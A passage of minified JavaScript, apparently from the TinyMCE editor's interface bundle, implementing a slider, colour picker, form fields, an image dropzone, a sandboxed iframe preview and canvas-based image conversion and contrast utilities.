modelDetail.value.get(); detail.onChoose(slider, thumb, value); }); }; var wasDown = detail.mouseIsDown.get(); detail.mouseIsDown.set(false); if (wasDown) { fireOnChoose(); } }; var onDragStart = function (slider, simulatedEvent) { simulatedEvent.stop(); detail.mouseIsDown.set(true); detail.onDragStart(slider, getThumb(slider)); }; var onDragEnd = function (slider, simulatedEvent) { simulatedEvent.stop(); detail.onDragEnd(slider, getThumb(slider)); choose(slider); }; return { uid: detail.uid, dom: detail.dom, components: components, behaviours: augment(detail.sliderBehaviours, [ Keying.config({ mode: 'special', focusIn: function (slider) { return getPart(slider, detail, 'spectrum').map(Keying.focusIn).map(always); } }), Representing.config({ store: { mode: 'manual', getValue: function (_) { return modelDetail.value.get(); } } }), Receiving.config({ channels: (_a = {}, _a[mouseReleased()] = { onReceive: choose }, _a) }) ]), events: derive$2([ run$1(sliderChangeEvent(), function (slider, simulatedEvent) { changeValue(slider, simulatedEvent.event.value); }), runOnAttached(function (slider, _simulatedEvent) { var getInitial = modelDetail.getInitialValue(); modelDetail.value.set(getInitial); var thumb = getThumb(slider); refresh(slider, thumb); var spectrum = getSpectrum(slider); detail.onInit(slider, thumb, spectrum, modelDetail.value.get()); }), run$1(touchstart(), onDragStart), run$1(touchend(), onDragEnd), run$1(mousedown(), onDragStart), run$1(mouseup(), onDragEnd) ]), apis: { resetToMin: resetToMin, resetToMax: resetToMax, setValue: setValue, refresh: refresh }, domModification: { styles: { position: 'relative' } } }; }; var Slider = composite({ name: 'Slider', configFields: SliderSchema, partFields: SliderParts, factory: sketch$2, apis: { setValue: function (apis, slider, value) { apis.setValue(slider, value); }, resetToMin: function (apis, slider) { apis.resetToMin(slider); }, resetToMax: function (apis, slider) { apis.resetToMax(slider); }, refresh: function (apis, slider) { apis.refresh(slider); } } }); var fieldsUpdate = generate$6('rgb-hex-update'); var sliderUpdate = generate$6('slider-update'); var paletteUpdate = generate$6('palette-update'); var sliderFactory = function (translate, getClass) { var spectrum = Slider.parts.spectrum({ dom: { tag: 'div', classes: [getClass('hue-slider-spectrum')], attributes: { role: 'presentation' } } }); var thumb = Slider.parts.thumb({ dom: { tag: 'div', classes: [getClass('hue-slider-thumb')], attributes: { role: 'presentation' } } }); return Slider.sketch({ dom: { tag: 'div', classes: [getClass('hue-slider')], attributes: { role: 'presentation' } }, rounded: false, model: { mode: 'y', getInitialValue: constant$1({ y: 0 }) }, components: [ spectrum, thumb ], sliderBehaviours: derive$1([Focusing.config({})]), onChange: function (slider, _thumb, value) { emitWith(slider, sliderUpdate, { value: value }); } }); }; var owner$1 = 'form'; var schema$i = [field('formBehaviours', [Representing])]; var getPartName$1 = function (name) { return ''; }; var sketch$1 = function (fSpec) { var parts = function () { var record = []; var field = function (name, config) { record.push(name); return generateOne$1(owner$1, getPartName$1(name), config); }; return { field: field, record: constant$1(record) }; }(); var spec = fSpec(parts); var partNames = parts.record(); var fieldParts = map$2(partNames, function (n) { return required({ name: n, pname: getPartName$1(n) }); }); return composite$1(owner$1, schema$i, fieldParts, make$4, spec); }; var toResult = function (o, e) { return o.fold(function () { return Result.error(e); }, Result.value); }; var make$4 = function (detail, components) { return { uid: detail.uid, dom: detail.dom, components: components, behaviours: augment(detail.formBehaviours, [Representing.config({ store: { mode: 'manual', getValue: function (form) { var resPs = getAllParts(form, detail); return map$1(resPs, function (resPThunk, pName) { return resPThunk().bind(function (v) { var opt = Composing.getCurrent(v); return toResult(opt, new Error('Cannot find a current component to extract the value from for form part \'' + pName + '\': ' + element(v.element))); }).map(Representing.getValue); }); }, setValue: function (form, values) { each(values, function (newValue, key) { getPart(form, detail, key).each(function (wrapper) { Composing.getCurrent(wrapper).each(function (field) { Representing.setValue(field, newValue); }); }); }); } } })]), apis: { getField: function (form, key) { return getPart(form, detail, key).bind(Composing.getCurrent); } } }; }; var Form = { getField: makeApi(function (apis, component, key) { return apis.getField(component, key); }), sketch: sketch$1 }; var validInput = generate$6('valid-input'); var invalidInput = generate$6('invalid-input'); var validatingInput = generate$6('validating-input'); var translatePrefix = 'colorcustom.rgb.'; var rgbFormFactory = function (translate, getClass, onValidHexx, onInvalidHexx) { var invalidation = function (label, isValid) { return Invalidating.config({ invalidClass: getClass('invalid'), notify: { onValidate: function (comp) { emitWith(comp, validatingInput, { type: label }); }, onValid: function (comp) { emitWith(comp, validInput, { type: label, value: Representing.getValue(comp) }); }, onInvalid: function (comp) { emitWith(comp, invalidInput, { type: label, value: Representing.getValue(comp) }); } }, validator: { validate: function (comp) { var value = Representing.getValue(comp); var res = isValid(value) ? Result.value(true) : Result.error(translate('aria.input.invalid')); return Future.pure(res); }, validateOnLoad: false } }); }; var renderTextField = function (isValid, name, label, description, data) { var helptext = translate(translatePrefix + 'range'); var pLabel = FormField.parts.label({ dom: { tag: 'label', innerHtml: label, attributes: { 'aria-label': description } } }); var pField = FormField.parts.field({ data: data, factory: Input, inputAttributes: __assign({ type: 'text' }, name === 'hex' ? { 'aria-live': 'polite' } : {}), inputClasses: [getClass('textfield')], inputBehaviours: derive$1([ invalidation(name, isValid), Tabstopping.config({}) ]), onSetValue: function (input) { if (Invalidating.isInvalid(input)) { var run = Invalidating.run(input); run.get(noop); } } }); var comps = [ pLabel, pField ]; var concats = name !== 'hex' ? [FormField.parts['aria-descriptor']({ text: helptext })] : []; var components = comps.concat(concats); return { dom: { tag: 'div', attributes: { role: 'presentation' } }, components: components }; }; var copyRgbToHex = function (form, rgba) { var hex = fromRgba(rgba); Form.getField(form, 'hex').each(function (hexField) { if (!Focusing.isFocused(hexField)) { Representing.setValue(form, { hex: hex.value }); } }); return hex; }; var copyRgbToForm = function (form, rgb) { var red = rgb.red; var green = rgb.green; var blue = rgb.blue; Representing.setValue(form, { red: red, green: green, blue: blue }); }; var memPreview = record({ dom: { tag: 'div', classes: [getClass('rgba-preview')], styles: { 'background-color': 'white' }, attributes: { role: 'presentation' } } }); var updatePreview = function (anyInSystem, hex) { memPreview.getOpt(anyInSystem).each(function (preview) { set$7(preview.element, 'background-color', '#' + hex.value); }); }; var factory = function () { var state = { red: Cell(Optional.some(255)), green: Cell(Optional.some(255)), blue: Cell(Optional.some(255)), hex: Cell(Optional.some('ffffff')) }; var copyHexToRgb = function (form, hex) { var rgb = fromHex(hex); copyRgbToForm(form, rgb); setValueRgb(rgb); }; var get = function (prop) { return state[prop].get(); }; var set = function (prop, value) { state[prop].set(value); }; var getValueRgb = function () { return get('red').bind(function (red) { return get('green').bind(function (green) { return get('blue').map(function (blue) { return rgbaColour(red, green, blue, 1); }); }); }); }; var setValueRgb = function (rgb) { var red = rgb.red; var green = rgb.green; var blue = rgb.blue; set('red', Optional.some(red)); set('green', Optional.some(green)); set('blue', Optional.some(blue)); }; var onInvalidInput = function (form, simulatedEvent) { var data = simulatedEvent.event; if (data.type !== 'hex') { set(data.type, Optional.none()); } else { onInvalidHexx(form); } }; var onValidHex = function (form, value) { onValidHexx(form); var hex = hexColour(value); set('hex', Optional.some(value)); var rgb = fromHex(hex); copyRgbToForm(form, rgb); setValueRgb(rgb); emitWith(form, fieldsUpdate, { hex: hex }); updatePreview(form, hex); }; var onValidRgb = function (form, prop, value) { var val = parseInt(value, 10); set(prop, Optional.some(val)); getValueRgb().each(function (rgb) { var hex = copyRgbToHex(form, rgb); emitWith(form, fieldsUpdate, { hex: hex }); updatePreview(form, hex); }); }; var isHexInputEvent = function (data) { return data.type === 'hex'; }; var onValidInput = function (form, simulatedEvent) { var data = simulatedEvent.event; if (isHexInputEvent(data)) { onValidHex(form, data.value); } else { onValidRgb(form, data.type, data.value); } }; var formPartStrings = function (key) { return { label: translate(translatePrefix + key + '.label'), description: translate(translatePrefix + key + '.description') }; }; var redStrings = formPartStrings('red'); var greenStrings = formPartStrings('green'); var blueStrings = formPartStrings('blue'); var hexStrings = formPartStrings('hex'); return deepMerge(Form.sketch(function (parts) { return { dom: { tag: 'form', classes: [getClass('rgb-form')], attributes: { 'aria-label': translate('aria.color.picker') } }, components: [ parts.field('red', FormField.sketch(renderTextField(isRgbaComponent, 'red', redStrings.label, redStrings.description, 255))), parts.field('green', FormField.sketch(renderTextField(isRgbaComponent, 'green', greenStrings.label, greenStrings.description, 255))), parts.field('blue', FormField.sketch(renderTextField(isRgbaComponent, 'blue', blueStrings.label, blueStrings.description, 255))), parts.field('hex', FormField.sketch(renderTextField(isHexString, 'hex', hexStrings.label, hexStrings.description, 'ffffff'))), memPreview.asSpec() ], formBehaviours: derive$1([ Invalidating.config({ invalidClass: getClass('form-invalid') }), config('rgb-form-events', [ run$1(validInput, onValidInput), run$1(invalidInput, onInvalidInput), run$1(validatingInput, onInvalidInput) ]) ]) }; }), { apis: { updateHex: function (form, hex) { Representing.setValue(form, { hex: hex.value }); copyHexToRgb(form, hex); updatePreview(form, hex); } } }); }; var rgbFormSketcher = single({ factory: factory, name: 'RgbForm', configFields: [], apis: { updateHex: function (apis, form, hex) { apis.updateHex(form, hex); } }, extraApis: {} }); return rgbFormSketcher; }; var paletteFactory = function (_translate, getClass) { var spectrumPart = Slider.parts.spectrum({ dom: { tag: 'canvas', attributes: { role: 'presentation' }, classes: [getClass('sv-palette-spectrum')] } }); var thumbPart = Slider.parts.thumb({ dom: { tag: 'div', attributes: { role: 'presentation' }, classes: [getClass('sv-palette-thumb')], innerHtml: '' } }); var setColour = function (canvas, rgba) { var width = canvas.width, height = canvas.height; var ctx = canvas.getContext('2d'); if (ctx === null) { return; } ctx.fillStyle = rgba; ctx.fillRect(0, 0, width, height); var grdWhite = ctx.createLinearGradient(0, 0, width, 0); grdWhite.addColorStop(0, 'rgba(255,255,255,1)'); grdWhite.addColorStop(1, 'rgba(255,255,255,0)'); ctx.fillStyle = grdWhite; ctx.fillRect(0, 0, width, height); var grdBlack = ctx.createLinearGradient(0, 0, 0, height); grdBlack.addColorStop(0, 'rgba(0,0,0,0)'); grdBlack.addColorStop(1, 'rgba(0,0,0,1)'); ctx.fillStyle = grdBlack; ctx.fillRect(0, 0, width, height); }; var setPaletteHue = function (slider, hue) { var canvas = slider.components()[0].element.dom; var hsv = hsvColour(hue, 100, 100); var rgba = fromHsv(hsv); setColour(canvas, toString(rgba)); }; var setPaletteThumb = function (slider, hex) { var hsv = fromRgb(fromHex(hex)); Slider.setValue(slider, { x: hsv.saturation, y: 100 - hsv.value }); }; var factory = function (_detail) { var getInitialValue = constant$1({ x: 0, y: 0 }); var onChange = function (slider, _thumb, value) { emitWith(slider, paletteUpdate, { value: value }); }; var onInit = function (_slider, _thumb, spectrum, _value) { setColour(spectrum.element.dom, toString(red)); }; var sliderBehaviours = derive$1([ Composing.config({ find: Optional.some }), Focusing.config({}) ]); return Slider.sketch({ dom: { tag: 'div', attributes: { role: 'presentation' }, classes: [getClass('sv-palette')] }, model: { mode: 'xy', getInitialValue: getInitialValue }, rounded: false, components: [ spectrumPart, thumbPart ], onChange: onChange, onInit: onInit, sliderBehaviours: sliderBehaviours }); }; var saturationBrightnessPaletteSketcher = single({ factory: factory, name: 'SaturationBrightnessPalette', configFields: [], apis: { setHue: function (_apis, slider, hue) { setPaletteHue(slider, hue); }, setThumb: function (_apis, slider, hex) { setPaletteThumb(slider, hex); } }, extraApis: {} }); return saturationBrightnessPaletteSketcher; }; var makeFactory = function (translate, getClass) { var factory = function (detail) { var rgbForm = rgbFormFactory(translate, getClass, detail.onValidHex, detail.onInvalidHex); var sbPalette = paletteFactory(translate, getClass); var hueSliderToDegrees = function (hue) { return (100 - hue) / 100 * 360; }; var hueDegreesToSlider = function (hue) { return 100 - hue / 360 * 100; }; var state = { paletteRgba: Cell(red), paletteHue: Cell(0) }; var memSlider = record(sliderFactory(translate, getClass)); var memPalette = record(sbPalette.sketch({})); var memRgb = record(rgbForm.sketch({})); var updatePalette = function (anyInSystem, _hex, hue) { memPalette.getOpt(anyInSystem).each(function (palette) { sbPalette.setHue(palette, hue); }); }; var updateFields = function (anyInSystem, hex) { memRgb.getOpt(anyInSystem).each(function (form) { rgbForm.updateHex(form, hex); }); }; var updateSlider = function (anyInSystem, _hex, hue) { memSlider.getOpt(anyInSystem).each(function (slider) { Slider.setValue(slider, { y: hueDegreesToSlider(hue) }); }); }; var updatePaletteThumb = function (anyInSystem, hex) { memPalette.getOpt(anyInSystem).each(function (palette) { sbPalette.setThumb(palette, hex); }); }; var updateState = function (hex, hue) { var rgba = fromHex(hex); state.paletteRgba.set(rgba); state.paletteHue.set(hue); }; var runUpdates = function (anyInSystem, hex, hue, updates) { updateState(hex, hue); each$1(updates, function (update) { update(anyInSystem, hex, hue); }); }; var onPaletteUpdate = function () { var updates = [updateFields]; return function (form, simulatedEvent) { var value = simulatedEvent.event.value; var oldHue = state.paletteHue.get(); var newHsv = hsvColour(oldHue, value.x, 100 - value.y); var newHex = hsvToHex(newHsv); runUpdates(form, newHex, oldHue, updates); }; }; var onSliderUpdate = function () { var updates = [ updatePalette, updateFields ]; return function (form, simulatedEvent) { var hue = hueSliderToDegrees(simulatedEvent.event.value.y); var oldRgb = state.paletteRgba.get(); var oldHsv = fromRgb(oldRgb); var newHsv = hsvColour(hue, oldHsv.saturation, oldHsv.value); var newHex = hsvToHex(newHsv); runUpdates(form, newHex, hue, updates); }; }; var onFieldsUpdate = function () { var updates = [ updatePalette, updateSlider, updatePaletteThumb ]; return function (form, simulatedEvent) { var hex = simulatedEvent.event.hex; var hsv = hexToHsv(hex); runUpdates(form, hex, hsv.hue, updates); }; }; return { uid: detail.uid, dom: detail.dom, components: [ memPalette.asSpec(), memSlider.asSpec(), memRgb.asSpec() ], behaviours: derive$1([ config('colour-picker-events', [ run$1(fieldsUpdate, onFieldsUpdate()), run$1(paletteUpdate, onPaletteUpdate()), run$1(sliderUpdate, onSliderUpdate()) ]), Composing.config({ find: function (comp) { return memRgb.getOpt(comp); } }), Keying.config({ mode: 'acyclic' }) ]) }; }; var colourPickerSketcher = single({ name: 'ColourPicker', configFields: [ required$1('dom'), defaulted('onValidHex', noop), defaulted('onInvalidHex', noop) ], factory: factory }); return colourPickerSketcher; }; var self$1 = function () { return Composing.config({ find: Optional.some }); }; var memento$1 = function (mem) { return Composing.config({ find: mem.getOpt }); }; var childAt = function (index) { return Composing.config({ find: function (comp) { return child$2(comp.element, index).bind(function (element) { return comp.getSystem().getByDom(element).toOptional(); }); } }); }; var ComposingConfigs = { self: self$1, memento: memento$1, childAt: childAt }; var english = { 'colorcustom.rgb.red.label': 'R', 'colorcustom.rgb.red.description': 'Red component', 'colorcustom.rgb.green.label': 'G', 'colorcustom.rgb.green.description': 'Green component', 'colorcustom.rgb.blue.label': 'B', 'colorcustom.rgb.blue.description': 'Blue component', 'colorcustom.rgb.hex.label': '#', 'colorcustom.rgb.hex.description': 'Hex color code', 'colorcustom.rgb.range': 'Range 0 to 255', 'colorcustom.sb.saturation': 'Saturation', 'colorcustom.sb.brightness': 'Brightness', 'colorcustom.sb.picker': 'Saturation and Brightness Picker', 'colorcustom.sb.palette': 'Saturation and Brightness Palette', 'colorcustom.sb.instructions': 'Use arrow keys to select saturation and brightness, on x and y axes', 'colorcustom.hue.hue': 'Hue', 'colorcustom.hue.slider': 'Hue Slider', 'colorcustom.hue.palette': 'Hue Palette', 'colorcustom.hue.instructions': 'Use arrow keys to select a hue', 'aria.color.picker': 'Color Picker', 'aria.input.invalid': 'Invalid input' }; var getEnglishText = function (key) { return english[key]; }; var translate$1 = function (key) { return getEnglishText(key); }; var renderColorPicker = function (_spec) { var getClass = function (key) { return 'tox-' + key; }; var colourPickerFactory = makeFactory(translate$1, getClass); var onValidHex = function (form) { emitWith(form, formActionEvent, { name: 'hex-valid', value: true }); }; var onInvalidHex = function (form) { emitWith(form, formActionEvent, { name: 'hex-valid', value: false }); }; var memPicker = record(colourPickerFactory.sketch({ dom: { tag: 'div', classes: [getClass('color-picker-container')], attributes: { role: 'presentation' } }, onValidHex: onValidHex, onInvalidHex: onInvalidHex })); return { dom: { tag: 'div' }, components: [memPicker.asSpec()], behaviours: derive$1([ Representing.config({ store: { mode: 'manual', getValue: function (comp) { var picker = memPicker.get(comp); var optRgbForm = Composing.getCurrent(picker); var optHex = optRgbForm.bind(function (rgbForm) { var formValues = Representing.getValue(rgbForm); return formValues.hex; }); return optHex.map(function (hex) { return '#' + hex; }).getOr(''); }, setValue: function (comp, newValue) { var pattern = /^#([a-fA-F0-9]{3}(?:[a-fA-F0-9]{3})?)/; var m = pattern.exec(newValue); var picker = memPicker.get(comp); var optRgbForm = Composing.getCurrent(picker); optRgbForm.fold(function () { console.log('Can not find form'); }, function (rgbForm) { Representing.setValue(rgbForm, { hex: Optional.from(m[1]).getOr('') }); Form.getField(rgbForm, 'hex').each(function (hexField) { emit(hexField, input()); }); }); } } }), ComposingConfigs.self() ]) }; }; var global$6 = tinymce.util.Tools.resolve('tinymce.Resource'); var isOldCustomEditor = function (spec) { return has$2(spec, 'init'); }; var renderCustomEditor = function (spec) { var editorApi = value$1(); var memReplaced = record({ dom: { tag: spec.tag } }); var initialValue = value$1(); return { dom: { tag: 'div', classes: ['tox-custom-editor'] }, behaviours: derive$1([ config('custom-editor-events', [runOnAttached(function (component) { memReplaced.getOpt(component).each(function (ta) { (isOldCustomEditor(spec) ? spec.init(ta.element.dom) : global$6.load(spec.scriptId, spec.scriptUrl).then(function (init) { return init(ta.element.dom, spec.settings); })).then(function (ea) { initialValue.on(function (cvalue) { ea.setValue(cvalue); }); initialValue.clear(); editorApi.set(ea); }); }); })]), Representing.config({ store: { mode: 'manual', getValue: function () { return editorApi.get().fold(function () { return initialValue.get().getOr(''); }, function (ed) { return ed.getValue(); }); }, setValue: function (component, value) { editorApi.get().fold(function () { initialValue.set(value); }, function (ed) { return ed.setValue(value); }); } } }), ComposingConfigs.self() ]), components: [memReplaced.asSpec()] }; }; var global$5 = tinymce.util.Tools.resolve('tinymce.util.Tools'); var processors = objOf([ defaulted('preprocess', identity$1), defaulted('postprocess', identity$1) ]); var memento = function (mem, rawProcessors) { var ps = asRawOrDie$1('RepresentingConfigs.memento processors', processors, rawProcessors); return Representing.config({ store: { mode: 'manual', getValue: function (comp) { var other = mem.get(comp); var rawValue = Representing.getValue(other); return ps.postprocess(rawValue); }, setValue: function (comp, rawValue) { var newValue = ps.preprocess(rawValue); var other = mem.get(comp); Representing.setValue(other, newValue); } } }); }; var withComp = function (optInitialValue, getter, setter) { return Representing.config(deepMerge({ store: { mode: 'manual', getValue: getter, setValue: setter } }, optInitialValue.map(function (initialValue) { return { store: { initialValue: initialValue } }; }).getOr({}))); }; var withElement = function (initialValue, getter, setter) { return withComp(initialValue, function (c) { return getter(c.element); }, function (c, v) { return setter(c.element, v); }); }; var domValue = function (optInitialValue) { return withElement(optInitialValue, get$5, set$4); }; var domHtml = function (optInitialValue) { return withElement(optInitialValue, get$7, set$5); }; var memory = function (initialValue) { return Representing.config({ store: { mode: 'memory', initialValue: initialValue } }); }; var RepresentingConfigs = { memento: memento, withElement: withElement, withComp: withComp, domValue: domValue, domHtml: domHtml, memory: memory }; var defaultImageFileTypes = 'jpeg,jpg,jpe,jfi,jif,jfif,png,gif,bmp,webp'; var filterByExtension = function (files, providersBackstage) { var allowedImageFileTypes = global$5.explode(providersBackstage.getSetting('images_file_types', defaultImageFileTypes, 'string')); var isFileInAllowedTypes = function (file) { return exists(allowedImageFileTypes, function (type) { return endsWith(file.name.toLowerCase(), '.' + type.toLowerCase()); }); }; return filter$2(from(files), isFileInAllowedTypes); }; var renderDropZone = function (spec, providersBackstage) { var stopper = function (_, se) { se.stop(); }; var sequence = function (actions) { return function (comp, se) { each$1(actions, function (a) { a(comp, se); }); }; }; var onDrop = function (comp, se) { if (!Disabling.isDisabled(comp)) { var transferEvent = se.event.raw; handleFiles(comp, transferEvent.dataTransfer.files); } }; var onSelect = function (component, simulatedEvent) { var input = simulatedEvent.event.raw.target; handleFiles(component, input.files); }; var handleFiles = function (component, files) { Representing.setValue(component, filterByExtension(files, providersBackstage)); emitWith(component, formChangeEvent, { name: spec.name }); }; var memInput = record({ dom: { tag: 'input', attributes: { type: 'file', accept: 'image/*' }, styles: { display: 'none' } }, behaviours: derive$1([config('input-file-events', [ cutter(click()), cutter(tap()) ])]) }); var renderField = function (s) { return { uid: s.uid, dom: { tag: 'div', classes: ['tox-dropzone-container'] }, behaviours: derive$1([ RepresentingConfigs.memory([]), ComposingConfigs.self(), Disabling.config({}), Toggling.config({ toggleClass: 'dragenter', toggleOnExecute: false }), config('dropzone-events', [ run$1('dragenter', sequence([ stopper, Toggling.toggle ])), run$1('dragleave', sequence([ stopper, Toggling.toggle ])), run$1('dragover', stopper), run$1('drop', sequence([ stopper, onDrop ])), run$1(change(), onSelect) ]) ]), components: [{ dom: { tag: 'div', classes: ['tox-dropzone'], styles: {} }, components: [ { dom: { tag: 'p', innerHtml: providersBackstage.translate('Drop an image here') } }, Button.sketch({ dom: { tag: 'button', innerHtml: providersBackstage.translate('Browse for an image'), styles: { position: 'relative' }, classes: [ 'tox-button', 'tox-button--secondary' ] }, components: [memInput.asSpec()], action: function (comp) { var inputComp = memInput.get(comp); inputComp.element.dom.click(); }, buttonBehaviours: derive$1([ Tabstopping.config({}), DisablingConfigs.button(providersBackstage.isDisabled), receivingConfig() ]) }) ] }] }; }; var pLabel = spec.label.map(function (label) { return renderLabel$2(label, providersBackstage); }); var pField = FormField.parts.field({ factory: { sketch: renderField } }); return renderFormFieldWith(pLabel, pField, ['tox-form__group--stretched'], []); }; var renderGrid = function (spec, backstage) { return { dom: { tag: 'div', classes: [ 'tox-form__grid', 'tox-form__grid--' + spec.columns + 'col' ] }, components: map$2(spec.items, backstage.interpreter) }; }; var beforeObject = generate$6('alloy-fake-before-tabstop'); var afterObject = generate$6('alloy-fake-after-tabstop'); var craftWithClasses = function (classes) { return { dom: { tag: 'div', styles: { width: '1px', height: '1px', outline: 'none' }, attributes: { tabindex: '0' }, classes: classes }, behaviours: derive$1([ Focusing.config({ ignore: true }), Tabstopping.config({}) ]) }; }; var craft = function (spec) { return { dom: { tag: 'div', classes: ['tox-navobj'] }, components: [ craftWithClasses([beforeObject]), spec, craftWithClasses([afterObject]) ], behaviours: derive$1([ComposingConfigs.childAt(1)]) }; }; var triggerTab = function (placeholder, shiftKey) { emitWith(placeholder, keydown(), { raw: { which: 9, shiftKey: shiftKey } }); }; var onFocus = function (container, targetComp) { var target = targetComp.element; if (has(target, beforeObject)) { triggerTab(container, true); } else if (has(target, afterObject)) { triggerTab(container, false); } }; var isPseudoStop = function (element) { return closest(element, [ '.' + beforeObject, '.' + afterObject ].join(','), never); }; var platformNeedsSandboxing = !(detect$1().browser.isIE() || detect$1().browser.isEdge()); var getDynamicSource = function (isSandbox) { var cachedValue = Cell(''); return { getValue: function (_frameComponent) { return cachedValue.get(); }, setValue: function (frameComponent, html) { if (!isSandbox) { set$8(frameComponent.element, 'src', 'javascript:\'\''); var doc = frameComponent.element.dom.contentWindow.document; doc.open(); doc.write(html); doc.close(); } else { set$8(frameComponent.element, 'srcdoc', html); } cachedValue.set(html); } }; }; var renderIFrame = function (spec, providersBackstage) { var isSandbox = platformNeedsSandboxing && spec.sandboxed; var attributes = __assign(__assign({}, spec.label.map(function (title) { return { title: title }; }).getOr({})), isSandbox ? { sandbox: 'allow-scripts allow-same-origin' } : {}); var sourcing = getDynamicSource(isSandbox); var pLabel = spec.label.map(function (label) { return renderLabel$2(label, providersBackstage); }); var factory = function (newSpec) { return craft({ uid: newSpec.uid, dom: { tag: 'iframe', attributes: attributes }, behaviours: derive$1([ Tabstopping.config({}), Focusing.config({}), RepresentingConfigs.withComp(Optional.none(), sourcing.getValue, sourcing.setValue) ]) }); }; var pField = FormField.parts.field({ factory: { sketch: factory } }); return renderFormFieldWith(pLabel, pField, ['tox-form__group--stretched'], []); }; var create$3 = function (width, height) { return resize$3(document.createElement('canvas'), width, height); }; var clone = function (canvas) { var tCanvas = create$3(canvas.width, canvas.height); var ctx = get2dContext(tCanvas); ctx.drawImage(canvas, 0, 0); return tCanvas; }; var get2dContext = function (canvas) { return canvas.getContext('2d'); }; var resize$3 = function (canvas, width, height) { canvas.width = width; canvas.height = height; return canvas; }; var getWidth$1 = function (image) { return image.naturalWidth || image.width; }; var getHeight$1 = function (image) { return image.naturalHeight || image.height; }; var blobToImage = function (blob) { return new Promise$1(function (resolve, reject) { var blobUrl = URL.createObjectURL(blob); var image = new Image(); var removeListeners = function () { image.removeEventListener('load', loaded); image.removeEventListener('error', error); }; var loaded = function () { removeListeners(); resolve(image); }; var error = function () { removeListeners(); reject('Unable to load data of type ' + blob.type + ': ' + blobUrl); }; image.addEventListener('load', loaded); image.addEventListener('error', error); image.src = blobUrl; if (image.complete) { setTimeout(loaded, 0); } }); }; var dataUriToBlobSync = function (uri) { var data = uri.split(','); var matches = /data:([^;]+)/.exec(data[0]); if (!matches) { return Optional.none(); } var mimetype = matches[1]; var base64 = data[1]; var sliceSize = 1024; var byteCharacters = atob(base64); var bytesLength = byteCharacters.length; var slicesCount = Math.ceil(bytesLength / sliceSize); var byteArrays = new Array(slicesCount); for (var sliceIndex = 0; sliceIndex < slicesCount; ++sliceIndex) { var begin = sliceIndex * sliceSize; var end = Math.min(begin + sliceSize, bytesLength); var bytes = new Array(end - begin); for (var offset = begin, i = 0; offset < end; ++i, ++offset) { bytes[i] = byteCharacters[offset].charCodeAt(0); } byteArrays[sliceIndex] = new Uint8Array(bytes); } return Optional.some(new Blob(byteArrays, { type: mimetype })); }; var dataUriToBlob = function (uri) { return new Promise$1(function (resolve, reject) { dataUriToBlobSync(uri).fold(function () { reject('uri is not base64: ' + uri); }, resolve); }); }; var canvasToBlob = function (canvas, type, quality) { type = type || 'image/png'; if (isFunction(HTMLCanvasElement.prototype.toBlob)) { return new Promise$1(function (resolve, reject) { canvas.toBlob(function (blob) { if (blob) { resolve(blob); } else { reject(); } }, type, quality); }); } else { return dataUriToBlob(canvas.toDataURL(type, quality)); } }; var canvasToDataURL = function (canvas, type, quality) { type = type || 'image/png'; return canvas.toDataURL(type, quality); }; var blobToCanvas = function (blob) { return blobToImage(blob).then(function (image) { revokeImageUrl(image); var canvas = create$3(getWidth$1(image), getHeight$1(image)); var context = get2dContext(canvas); context.drawImage(image, 0, 0); return canvas; }); }; var blobToDataUri = function (blob) { return new Promise$1(function (resolve) { var reader = new FileReader(); reader.onloadend = function () { resolve(reader.result); }; reader.readAsDataURL(blob); }); }; var revokeImageUrl = function (image) { URL.revokeObjectURL(image.src); }; var create$2 = function (getCanvas, blob, uri) { var initialType = blob.type; var getType = constant$1(initialType); var toBlob = function () { return Promise$1.resolve(blob); }; var toDataURL = constant$1(uri); var toBase64 = function () { return uri.split(',')[1]; }; var toAdjustedBlob = function (type, quality) { return getCanvas.then(function (canvas) { return canvasToBlob(canvas, type, quality); }); }; var toAdjustedDataURL = function (type, quality) { return getCanvas.then(function (canvas) { return canvasToDataURL(canvas, type, quality); }); }; var toAdjustedBase64 = function (type, quality) { return toAdjustedDataURL(type, quality).then(function (dataurl) { return dataurl.split(',')[1]; }); }; var toCanvas = function () { return getCanvas.then(clone); }; return { getType: getType, toBlob: toBlob, toDataURL: toDataURL, toBase64: toBase64, toAdjustedBlob: toAdjustedBlob, toAdjustedDataURL: toAdjustedDataURL, toAdjustedBase64: toAdjustedBase64, toCanvas: toCanvas }; }; var fromBlob = function (blob) { return blobToDataUri(blob).then(function (uri) { return create$2(blobToCanvas(blob), blob, uri); }); }; var fromCanvas = function (canvas, type) { return canvasToBlob(canvas, type).then(function (blob) { return create$2(Promise$1.resolve(canvas), blob, canvas.toDataURL()); }); }; var blobToImageResult = function (blob) { return fromBlob(blob); }; var clamp = function (value, min, max) { var parsedValue = typeof value === 'string' ? parseFloat(value) : value; if (parsedValue > max) { parsedValue = max; } else if (parsedValue < min) { parsedValue = min; } return parsedValue; }; var identity = function () { return [ 1, 0, 0, 0, 0, 0, 1, 0, 0, 0, 0, 0, 1, 0, 0, 0, 0, 0, 1, 0, 0, 0, 0, 0, 1 ]; }; var DELTA_INDEX = [ 0, 0.01, 0.02, 0.04, 0.05, 0.06, 0.07, 0.08, 0.1, 0.11, 0.12, 0.14, 0.15, 0.16, 0.17, 0.18, 0.2, 0.21, 0.22, 0.24, 0.25, 0.27, 0.28, 0.3, 0.32, 0.34, 0.36, 0.38, 0.4, 0.42, 0.44, 0.46, 0.48, 0.5, 0.53, 0.56, 0.59, 0.62, 0.65, 0.68, 0.71, 0.74, 0.77, 0.8, 0.83, 0.86, 0.89, 0.92, 0.95, 0.98, 1, 1.06, 1.12, 1.18, 1.24, 1.3, 1.36, 1.42, 1.48, 1.54, 1.6, 1.66, 1.72, 1.78, 1.84, 1.9, 1.96, 2, 2.12, 2.25, 2.37, 2.5, 2.62, 2.75, 2.87, 3, 3.2, 3.4, 3.6, 3.8, 4, 4.3, 4.7, 4.9, 5, 5.5, 6, 6.5, 6.8, 7, 7.3, 7.5, 7.8, 8, 8.4, 8.7, 9, 9.4, 9.6, 9.8, 10 ]; var multiply = function (matrix1, matrix2) { var col = []; var out = new Array(25); var val; for (var i = 0; i < 5; i++) { for (var j = 0; j < 5; j++) { col[j] = matrix2[j + i * 5]; } for (var j = 0; j < 5; j++) { val = 0; for (var k = 0; k < 5; k++) { val += matrix1[j + k * 5] * col[k]; } out[j + i * 5] = val; } } return out; }; var adjustContrast = function (matrix, value) { var x; value = clamp(value, -1, 1); value *= 100; if (value < 0) { x = 127 + value / 100 * 127; } else { x = value % 1; if (x === 0) { x = DELTA_INDEX[value]; } else { x = DELTA_INDEX[Math.floor(value)] * (1 - x) + DELTA_INDEX[Math.floor(value) + 1] * x; } x = x * 127 + 127; } return multiply(matrix, [ x / 127, 0, 0, 0, 0.5 * (127 - x), 0, x / 127, 